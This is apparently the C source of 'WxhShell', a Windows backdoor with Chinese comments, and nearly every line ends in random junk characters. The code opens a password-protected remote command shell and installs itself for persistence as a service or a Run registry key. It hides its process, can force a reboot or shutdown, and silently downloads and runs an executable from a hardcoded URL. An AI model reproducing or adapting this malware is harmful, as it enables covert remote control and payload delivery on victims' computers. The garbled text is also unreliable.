    if(Boot(SHUTDOWN)) &>0=v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #rMMOu9r2  
    else { W=}l=o!G.  
    closesocket(wsh); pez*kU+9  
    ExitThread(0); \lCr~D5  
    } [' R2$z  
    break; ?;> s<  
    } ?|TVz!3  
  // 获取shell XV1#/@H;  
  case 's': { r!V#@Md  
    CmdShell(wsh); >`n0{:.1za  
    closesocket(wsh); 'cy35M  
    ExitThread(0); $5yS`Iq S  
    break; ;j=/2vU~@  
  } v3[Z ]+ ]  
  // 退出 tf|/_Y2  
  case 'x': { _7~O>.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QX ishHk&  
    CloseIt(wsh); J6Hw05%0=  
    break; &|iFhf[o  
    } K8Gc5#OF  
  // 离开 yeKzI~  
  case 'q': { Et(Q$/W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i96Pel  
    closesocket(wsh); 7A8jnq7m/  
    WSACleanup(); );}k@w fw)  
    exit(1); 1d7oR`qr  
    break; dn$1OhN8M  
        } &zlwV"W  
  } Wd_bDZQ  
  } 24Z7;'  
Y"D'|i  
  // 提示信息 '{\VO U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  "@Bc eD  
} `/f9 mn  
  } ul/=1]1?  
m'KY;C  
  return; 7_.z3K m:  
} = PcmJG]  
1s-k=3)  
// shell模块句柄 iUi{)xa2  
int CmdShell(SOCKET sock) UA!h[+Z  
{ dD1`[%  
STARTUPINFO si; i?z3!`m  
ZeroMemory(&si,sizeof(si)); `i8osX[&p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pqo _ +fL+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vpFN{UfD  
PROCESS_INFORMATION ProcessInfo; Ow wH 45  
char cmdline[]="cmd"; (;$ J5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3Ku!;uo!u  
  return 0; eQx9 Vnb  
} iH#~eg  
Vpt)?];P  
// 自身启动模式 H?sl_3- #  
int StartFromService(void) HLg/=VF7?  
{ J|sX{/WT  
typedef struct m( C7Fa  
{ Cmm"K[>Rx  
  DWORD ExitStatus; ::g"dRS<v  
  DWORD PebBaseAddress; 8Z4d<DIJ  
  DWORD AffinityMask; MX|CL{H  
  DWORD BasePriority; )UI$ s"  
  ULONG UniqueProcessId; FAjO-T4(  
  ULONG InheritedFromUniqueProcessId; }Y(Q7l  
}   PROCESS_BASIC_INFORMATION; jj0@ez{3  
YPDc /  
PROCNTQSIP NtQueryInformationProcess; DifRpj I-0  
l$z[Vh^UU<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  .LEQ r)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *qAF#  
g (33h2"  
  HANDLE             hProcess; #StD]d  
  PROCESS_BASIC_INFORMATION pbi; 9xB^dKM3  
yUq,9.6Ig  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5>t&)g  
  if(NULL == hInst ) return 0; &O#a==F!(  
n]}+ :  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kI<C\ *N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iH9g5G`O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  V-}d-Y  
xp7,0'(;  
  if (!NtQueryInformationProcess) return 0; o$\ {&:y  
T$06DS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D=mU!rjr1  
  if(!hProcess) return 0; +>.plvZhu  
H.7gSB1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {v+i!a'+  
wHBkaPO!  
  CloseHandle(hProcess); 4(R O1VWsb  
s^^X.z ,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q#}} 1}Ja  
if(hProcess==NULL) return 0; YZ7rs] A  
bS&'oWy*B  
HMODULE hMod; ,YSQog  
char procName[255]; }Tu_?b`RUm  
unsigned long cbNeeded; u%V =Ze  
2K.. ;A$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HLN rI0  
U# -&%|b$  
  CloseHandle(hProcess); C@buewk  
Q[i;I bY  
if(strstr(procName,"services")) return 1; // 以服务启动 ( ]AErz+  
";`ddN3  
  return 0; // 注册表启动 L-Xd3RCD  
} 7_S+/2}U*  
u4IgPCTZ+  
// 主模块 eoR@5OA&  
int StartWxhshell(LPSTR lpCmdLine) (*/P~$xIj  
{ 9$~D4T  
  SOCKET wsl; u7^Z7; J  
BOOL val=TRUE; D?}LKs[  
  int port=0; '$ s:cS`=  
  struct sockaddr_in door; ZZ!d:1'7  
>%qGK-_  
  if(wscfg.ws_autoins) Install(); ,<R/x[  
}C/}8<  
port=atoi(lpCmdLine); , $}P<WZMu  
e:AB!k^xp$  
if(port<=0) port=wscfg.ws_port; *B#OLx  
T(a* d7  
  WSADATA data; qI<*Cze  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :lgIu .  
5G(y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ] X%bU*4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bp_3ETK]P  
  door.sin_family = AF_INET; '(+l77G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ++R-_oQ  
  door.sin_port = htons(port); Kl(}s{YFn.  
QdUl-(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {4}Sl^kn*  
closesocket(wsl); zL OmtZ(['  
return 1; .a;-7|x  
} `"GD'Oa  
N%y%)MI8  
  if(listen(wsl,2) == INVALID_SOCKET) { -W!g>^.  
closesocket(wsl); +(PtOo.  
return 1; GZI[qKDfB  
} `'0opoQRe  
  Wxhshell(wsl); tSYeZ~  
  WSACleanup(); D@DK9?#  
A.35WGu&:  
return 0; qpp:h_E  
CdWGb[uI  
} @VxBURZ?  
LwY_6[Ef  
// 以NT服务方式启动 "q#(}1Zd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &+&^Hc  
{ cTRCQ+W6:  
DWORD   status = 0; KO{}+~,.6  
  DWORD   specificError = 0xfffffff; AuO%F YKY  
|7|mnOBdDf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <6v7_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7-^df0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~Ja>x`5  
  serviceStatus.dwWin32ExitCode     = 0; .P =!M  
  serviceStatus.dwServiceSpecificExitCode = 0; jLb3{}0  
  serviceStatus.dwCheckPoint       = 0; nr s!e  
  serviceStatus.dwWaitHint       = 0; V#3VRh  
@M,KA {e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _r^&.'q  
  if (hServiceStatusHandle==0) return; fC~WuG 3  
Ty@&s 58a  
status = GetLastError(); D+ jk0*bJ  
  if (status!=NO_ERROR) ceZt%3=5  
{ 9F,jvCM63  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <JKPtF2b  
    serviceStatus.dwCheckPoint       = 0; NiyAAw  
    serviceStatus.dwWaitHint       = 0; @XmMD6{<  
    serviceStatus.dwWin32ExitCode     = status; 3%cNePlr  
    serviceStatus.dwServiceSpecificExitCode = specificError; ke&c<3m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J+.t \R  
    return; 0 _&oMPY  
  } F." L{g  
JBU qZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c)E'',-J_2  
  serviceStatus.dwCheckPoint       = 0; -n Hc52,  
  serviceStatus.dwWaitHint       = 0; r*tGT_/6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lzw r]J%|?  
} ]+@b=J2b  
%/sf#8^m  
// 处理NT服务事件,比如:启动、停止 bgEUG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [9>1e  
{ re^1fv  
switch(fdwControl) ?!A{n3\<  
{ h|jsi*4NnL  
case SERVICE_CONTROL_STOP: /8GVu7  
  serviceStatus.dwWin32ExitCode = 0;  gZvl D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^KlMBKWyB  
  serviceStatus.dwCheckPoint   = 0; wk-ziw  
  serviceStatus.dwWaitHint     = 0; T> 1E  
  { =o5hD,>e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UY|nB hL  
  } Ag?@fuk$J  
  return; ) tsaDG-E  
case SERVICE_CONTROL_PAUSE: Ct.Q)p-wn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ? ZN8Ku  
  break; <0lfkeD  
case SERVICE_CONTROL_CONTINUE: ph3[}><6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cG ^'Qm  
  break; &z,w0FOre  
case SERVICE_CONTROL_INTERROGATE: o[8Y%3  
  break; T>L6 X:d  
}; `cf&4Hn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {)-%u8J\`N  
} U?@UIhtM|  
#t{?WkO[  
// 标准应用程序主函数 s%p(_pB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YK_a37E{F  
{ p+yU!Qj  
YSeXCJ:Iy  
// 获取操作系统版本 )5e}Id  
OsIsNt=GetOsVer(); {{giSW'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LN_6>u  
|\elM[G"g  
  // 从命令行安装 "iOT14J!7  
  if(strpbrk(lpCmdLine,"iI")) Install(); R3.tkFZq]  
q/&Z6LJ)  
  // 下载执行文件 HnU}Lhjzj  
if(wscfg.ws_downexe) { 8th G-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W;u~}k<  
  WinExec(wscfg.ws_filenam,SW_HIDE); R]L 7?=  
} C>t1~^Q},9  
2<|+h= &  
if(!OsIsNt) { y%3Yr?]  
// 如果时win9x,隐藏进程并且设置为注册表启动 qhiQ!fMQ  
HideProc(); ~Kt.%K5lgt  
StartWxhshell(lpCmdLine); 5C2 *f 4|  
} J/ <[irC  
else HR)joD*q;[  
  if(StartFromService()) F) < f8F  
  // 以服务方式启动 o;-)84Aa  
  StartServiceCtrlDispatcher(DispatchTable); /__we[$E  
else Q9?/)&3Bu  
  // 普通方式启动 @P[Tu; 4  
  StartWxhshell(lpCmdLine); 4l>/6LNMF  
rzEE |  
return 0; 36.L1!d)pE  
}  cfpP?  
;o"}7'4*R%  
=f=MtH?0y  
!</5 )B`5:  
=========================================== zziujs:  
=Tb~CT=  
uiM*!ge  
I.1zD aP  
C6:<.`iD87  
WE68a!6  
" OB l-6W  
*W%HTt"N  
#include <stdio.h> Y7]N.G3,]  
#include <string.h> ZKPnvL70  
#include <windows.h> jsfyNl? 6  
#include <winsock2.h> q-X)tH_+w@  
#include <winsvc.h> RY&Wvkjh  
#include <urlmon.h> 1k3wBc 5<  
97NF*-)N  
#pragma comment (lib, "Ws2_32.lib") xG\&QE  
#pragma comment (lib, "urlmon.lib") $kvF]|<bu  
q2Ax-#  
#define MAX_USER   100 // 最大客户端连接数 v8Bi1,g  
#define BUF_SOCK   200 // sock buffer a[[u>oHyd  
#define KEY_BUFF   255 // 输入 buffer f-tjMa /_  
d]$z&E  
#define REBOOT     0   // 重启 >}43MxU?  
#define SHUTDOWN   1   // 关机 03iO4yOu  
TOeJnk  
#define DEF_PORT   5000 // 监听端口 l7 j3;Ly  
]?/[& PP,  
#define REG_LEN     16   // 注册表键长度 _<=U.T`  
#define SVC_LEN     80   // NT服务名长度 p4bQCI  
`oXUVr  
// 从dll定义API 9{^:+r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "ALR)s,1,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 218ZUg -a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?SkYFa`u*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |j#x}8 [(  
blk ~r0.2  
// wxhshell配置信息 4%aODr8  
struct WSCFG { 3)Wi? -  
  int ws_port;         // 监听端口 GGo nA  
  char ws_passstr[REG_LEN]; // 口令 & 2& K9R  
  int ws_autoins;       // 安装标记, 1=yes 0=no =X2 Ieb  
  char ws_regname[REG_LEN]; // 注册表键名 (S&X??jfB5  
  char ws_svcname[REG_LEN]; // 服务名 #Kyb9Qg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /g< T)$2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S/"-x{Gc2v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "9Sxj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P"cc$lB~I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #E3Y; b%v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G sm5L<rx  
wBTnI>l9[  
}; J'sVT{@GS  
@f-0OX$*  
// default Wxhshell configuration M@[{j  
struct WSCFG wscfg={DEF_PORT, !ANvXPp  
    "xuhuanlingzhe", =mxmJFA  
    1, _S7GkpoK  
    "Wxhshell", 9?:SxI;v  
    "Wxhshell", (x2I*<7P  
            "WxhShell Service", 4(B{-cK  
    "Wrsky Windows CmdShell Service", Q7gBxp  
    "Please Input Your Password: ", a*0gd-e0@  
  1, wLAGe'GX  
  "http://www.wrsky.com/wxhshell.exe", MoIVval/  
  "Wxhshell.exe" we9R4 *j  
    }; r5xu#%hgp;  
H1N_  
// 消息定义模块 CaX&T2(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;,}tXz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V lN&Lz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M$dDExd~  
char *msg_ws_ext="\n\rExit."; o /AEp)8  
char *msg_ws_end="\n\rQuit."; -)(HG)3  
char *msg_ws_boot="\n\rReboot..."; {x40W0  
char *msg_ws_poff="\n\rShutdown..."; hhLEU_U  
char *msg_ws_down="\n\rSave to "; Lj6$?(x}  
bm*Ell\a.  
char *msg_ws_err="\n\rErr!"; JeU|e$I4>  
char *msg_ws_ok="\n\rOK!"; ;>{B K,  
x>m_ v  
char ExeFile[MAX_PATH]; W]{mEB  
int nUser = 0; *D! $gfa  
HANDLE handles[MAX_USER]; OWT5Bjl  
int OsIsNt; ' \Z54$  
xw(KSPN  
SERVICE_STATUS       serviceStatus; RNE} )B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >y#<WB$i  
;  6Js   
// 函数声明 {]]qd!,  
int Install(void); E#X(0(A)  
int Uninstall(void); H@GiHej  
int DownloadFile(char *sURL, SOCKET wsh); `6koQZm  
int Boot(int flag); xH#R_  
void HideProc(void); N '2Nv  
int GetOsVer(void); }D j W  
int Wxhshell(SOCKET wsl); yyb8l l?@a  
void TalkWithClient(void *cs); _PZGns,u  
int CmdShell(SOCKET sock); #9uNJla  
int StartFromService(void); . S4Xw2MS  
int StartWxhshell(LPSTR lpCmdLine); MX2 Zm  
=Bu> }$BD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ('QfB<4H1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sr1`/  
:^]rjy/|+  
// 数据结构和表定义 2&7:JM~#  
SERVICE_TABLE_ENTRY DispatchTable[] = v#J 2yg  
{ /@-!JF#g  
{wscfg.ws_svcname, NTServiceMain}, 77?/e^K\S  
{NULL, NULL} <XG&f  
}; Y@N-q   
BU],,t\  
// 自我安装 s>hNwb/  
int Install(void) f*U3s N^y  
{ <WhdQKFf-  
  char svExeFile[MAX_PATH]; +QpgG4h  
  HKEY key; VJquB8?H  
  strcpy(svExeFile,ExeFile); C.`C T7  
P]w5`aBM  
// 如果是win9x系统,修改注册表设为自启动 D>neY9  
if(!OsIsNt) { oZm)@Vv;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *9Eep~ 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Q\0v  
  RegCloseKey(key); eW%Cef  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +P YX.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yl}'hRp  
  RegCloseKey(key); |hHj7X <?k  
  return 0; Mkc   
    } eQK}J]S<  
  } vKrOIBP  
} ,i0Dw"/u  
else { I_ O8 9Sgn  
Bgw=((p  
// 如果是NT以上系统,安装为系统服务 ~@Yiwp\"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1{%3OG^'  
if (schSCManager!=0) l=+hs  
{ ,v^A;,q  
  SC_HANDLE schService = CreateService 2H\ }N^;f  
  ( X8m@xFW}  
  schSCManager, ~bC-0^/ 8|  
  wscfg.ws_svcname, _-MILkx\  
  wscfg.ws_svcdisp, @q(sig00nr  
  SERVICE_ALL_ACCESS, Mk=M)d`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MZ$x(Vcj  
  SERVICE_AUTO_START, c\P,ct }>  
  SERVICE_ERROR_NORMAL, '.{tE*  
  svExeFile, *P:!lO\|  
  NULL, C0O$iWs=  
  NULL, e^ Aw%t  
  NULL, fH[:S9@  
  NULL, o](nK5?  
  NULL d$*SVd:  
  ); ?Ulc`-d  
  if (schService!=0) )`gE-udR  
  { bmu<V1[W  
  CloseServiceHandle(schService); :>GT<PPD;  
  CloseServiceHandle(schSCManager); Gj(UA1~1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zV=(e( [  
  strcat(svExeFile,wscfg.ws_svcname); O-K!Bv^ Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7LdNE|IP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z0m[25FQG  
  RegCloseKey(key); uyDYS  
  return 0; w=H4#a?fc  
    } %k$C   
  } 5Ij_$a  
  CloseServiceHandle(schSCManager); 82)d.>  
} 1|gP :t}  
} K.z}%a  
yJp& A  
return 1; c>UITM=!I  
} ,XA;S5FE  
2%8N<GW.F  
// 自我卸载 6:EO  
int Uninstall(void) y ph  
{ _~cmR<  
  HKEY key; Y*}Sq|y  
XPEjMm'*b3  
if(!OsIsNt) { Oy|9po  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E>g'!  
  RegDeleteValue(key,wscfg.ws_regname); kcYR:;y  
  RegCloseKey(key); 84 knoC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )@Zel.XD  
  RegDeleteValue(key,wscfg.ws_regname); k Dv)g  
  RegCloseKey(key); 2d>PN^x  
  return 0; UJm`GO  
  } gR(c;  
} 1OGlD+f  
} +'Ge?(E4_  
else { '  qM3.U  
hNoN=J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Va 5U`0  
if (schSCManager!=0) Yj"UD:p  
{ ZE\t{s0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f/c}XCH_h  
  if (schService!=0) m:41zoV  
  { Qxvz}r.l]  
  if(DeleteService(schService)!=0) { ;I7Z*'5!  
  CloseServiceHandle(schService); };+s0:H  
  CloseServiceHandle(schSCManager); 95<:-?4C;W  
  return 0; X%-4x   
  } {l6]O  
  CloseServiceHandle(schService); f*5"Jh@  
  } UiSc*_N"  
  CloseServiceHandle(schSCManager); z]WT>4  
} 5[R}MhLZ  
} >r*Zm2($MR  
wTW"1M  
return 1; Kq?7#,_  
} P:=AD W c  
VO`A  
// 从指定url下载文件 +?<jSmGW  
int DownloadFile(char *sURL, SOCKET wsh) b#m47yTW9<  
{ 96.Wfx  
  HRESULT hr; F,zJdJ  
char seps[]= "/"; l}^#kHSyd  
char *token; oN$ZZk R  
char *file; eXd(R>Mx  
char myURL[MAX_PATH]; 2ya`2 m  
char myFILE[MAX_PATH]; TGNeEYr  
3u^TJt)  
strcpy(myURL,sURL); ayD\b6Z2.  
  token=strtok(myURL,seps); c`.:"i" k3  
  while(token!=NULL) qcot T\rq  
  { }rE|\p>  
    file=token; 8if"U xV(  
  token=strtok(NULL,seps); > 95Cs`>d  
  } x\DkS,O  
8z CAy@u  
GetCurrentDirectory(MAX_PATH,myFILE); 54{"ni 2a  
strcat(myFILE, "\\"); +Xp;T`,v  
strcat(myFILE, file); J]0#M:w&  
  send(wsh,myFILE,strlen(myFILE),0); Kv]6 b2HT  
send(wsh,"...",3,0); {dwV-qz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l 3K8{HY  
  if(hr==S_OK) 6{ Nbe=  
return 0; @_Zx'mTI  
else ?5Fj]Bk]  
return 1; YiTp-@$}  
bwJi[xF  
} }'W^Ki$  
uFm-HR@4  
// 系统电源模块 yLx.*I^6  
int Boot(int flag) )9r%% #  
{ 1,T9HpM  
  HANDLE hToken; u-_$?'l;~  
  TOKEN_PRIVILEGES tkp; ~@8d[Tb  
j,xPN=+hT  
  if(OsIsNt) { kA4ei  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C]fTV{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fn OkH  
    tkp.PrivilegeCount = 1; ]eW|}V7A:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (w eokP!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #P#R~b]  
if(flag==REBOOT) { h'~- K`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _,FoXf7  
  return 0; dSVu_*y  
} #sU~fq  
else { prN(V1O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) es[5B* 5  
  return 0; Wk?|BR]O  
} i4n b#  
  } 41o!2(e$  
  else { {@5WeWlz~  
if(flag==REBOOT) { \GvY`kt3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d7J[.^\  
  return 0; _c8.muQ<  
} S7ehk*`  
else { Cz r4 -#2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4Qel;  
  return 0; _qt;{,t  
} Gv,92ny!|  
} _MbVF>JOx  
V-;nj,.mY  
return 1; ZBR^[OXO  
} hcd>A vC8  
:Q ?J}N  
// win9x进程隐藏模块 udD* E~1q  
void HideProc(void) 1LE^dS^V  
{ .8qzU47E  
;D"P9b]9$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "gN*J)!x  
  if ( hKernel != NULL ) 4zqE?$HM'  
  { ~|Ih JzDt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e0N=2i?I#z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +z(,A  
    FreeLibrary(hKernel); k;fnC+Y$s  
  } -{8Q= N  
x|v[Dxf]  
return; )/WA)fWkT  
} y>7VxX0xi  
ADyNNMcx  
// 获取操作系统版本 9(^X2L&Z  
int GetOsVer(void) *M5$ h*;v  
{ 0$"Q&5Y  
  OSVERSIONINFO winfo; /R(U>pZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7o965h  
  GetVersionEx(&winfo); G{:af:5Fo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Xw*%3'  
  return 1; !QQ<Ai!E  
  else _yxe2[TD  
  return 0; 0K$WSGB?6j  
} uD ?I>7  
^b"x|8  
// 客户端句柄模块 e<L 9k}c  
int Wxhshell(SOCKET wsl) #"o6OEy$A#  
{ mq{$9@3  
  SOCKET wsh; Y uw E 0  
  struct sockaddr_in client; F;?TR[4!k  
  DWORD myID; Lt;.Nw  
%/tGkS6  
  while(nUser<MAX_USER) g/U$!d_  
{ }"&n[/8~  
  int nSize=sizeof(client); u-%r~ }  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >tmnj/=&   
  if(wsh==INVALID_SOCKET) return 1; H#kAm!H  
fw:7Q7 qo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vy{rwZ$  
if(handles[nUser]==0) ;Xfd1    
  closesocket(wsh); |iwM9oO%  
else B c,"12  
  nUser++; %2@ Tj}xa  
  } E,*JPK-A x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DJ1XN pm  
A=v lC?&Z  
  return 0; jpYw#]Q  
} {dy` %It  
tAb;/tM3I  
// 关闭 socket 4DQ07w  
void CloseIt(SOCKET wsh) 0%h [0jGj  
{ 6o[0sM_];  
closesocket(wsh); aWHd}%  
nUser--; p~Yy"Ec;p  
ExitThread(0); hb /8Q  
} hV3,^#9o  
WX%h4)z*  
// 客户端请求句柄 QmWC2$b  
void TalkWithClient(void *cs) N<L$gw+)$D  
{ L<f-Ed9|  
W;3 R;  
  SOCKET wsh=(SOCKET)cs; #6*V7@9]3|  
  char pwd[SVC_LEN]; 8_^'(]  
  char cmd[KEY_BUFF]; t/v@vJ`vSH  
char chr[1]; pX>ua5Z  
int i,j; '+)6#/*  
cwH,l$  
  while (nUser < MAX_USER) { K?h[.`}  
w$DG=!  
if(wscfg.ws_passstr) { XsAY4WTS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F`YFo)W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0=N4O!X9  
  //ZeroMemory(pwd,KEY_BUFF); iyA*J CD  
      i=0; .K $p`WQ{  
  while(i<SVC_LEN) { M,b<B_$  
T5 K-gz7A  
  // 设置超时 httls>:xB|  
  fd_set FdRead; IT8B~I\OY  
  struct timeval TimeOut; M?E9N{t8)a  
  FD_ZERO(&FdRead); z{_mEE49  
  FD_SET(wsh,&FdRead); fl!mYCPv  
  TimeOut.tv_sec=8; '4af ],  
  TimeOut.tv_usec=0; #Y;.>mF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mBw2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \1=T sU&^  
bcq@N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vg+r?4Q3  
  pwd=chr[0]; i{<8 hLO  
  if(chr[0]==0xd || chr[0]==0xa) { 6tOP}X  
  pwd=0; kFS0i%Sr  
  break; /DLr(  
  } ~&lQNl3`m6  
  i++; r`?&m3IOP  
    } ' " Bex`  
DY$yiOH9  
  // 如果是非法用户,关闭 socket OZ eiH X!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OpYmTep#T\  
} HkW/G[7x&  
Us1@\|]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g<M0|eX@~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?(]a*~rx  
4+)Z k$E  
while(1) { >r~0SMQr  
!$xzA X,  
  ZeroMemory(cmd,KEY_BUFF); #1MKEfv(~  
;F|jG}M"  
      // 自动支持客户端 telnet标准   t9ER;.e  
  j=0; &u&2D$K,tp  
  while(j<KEY_BUFF) { ,&0Z]*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r~I.F!{  
  cmd[j]=chr[0]; g .3f2w  
  if(chr[0]==0xa || chr[0]==0xd) { [qSQ#Qzi2i  
  cmd[j]=0; GX7VlI[  
  break; R j-jAH  
  } 9_eS`,'  
  j++; e!6eZ)l  
    } OO$|9`a  
Ks|gL#)*Ku  
  // 下载文件 (WJV.GcP1  
  if(strstr(cmd,"http://")) { X+@s]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ; /=L  
  if(DownloadFile(cmd,wsh)) "X`Qe!zk4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ozm;  
  else <8$Md4r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @?m+Z"o|z  
  } W.IH#`-9E  
  else { B+|IZoR  
T=.-Cl1A  
    switch(cmd[0]) { -E:(w<];  
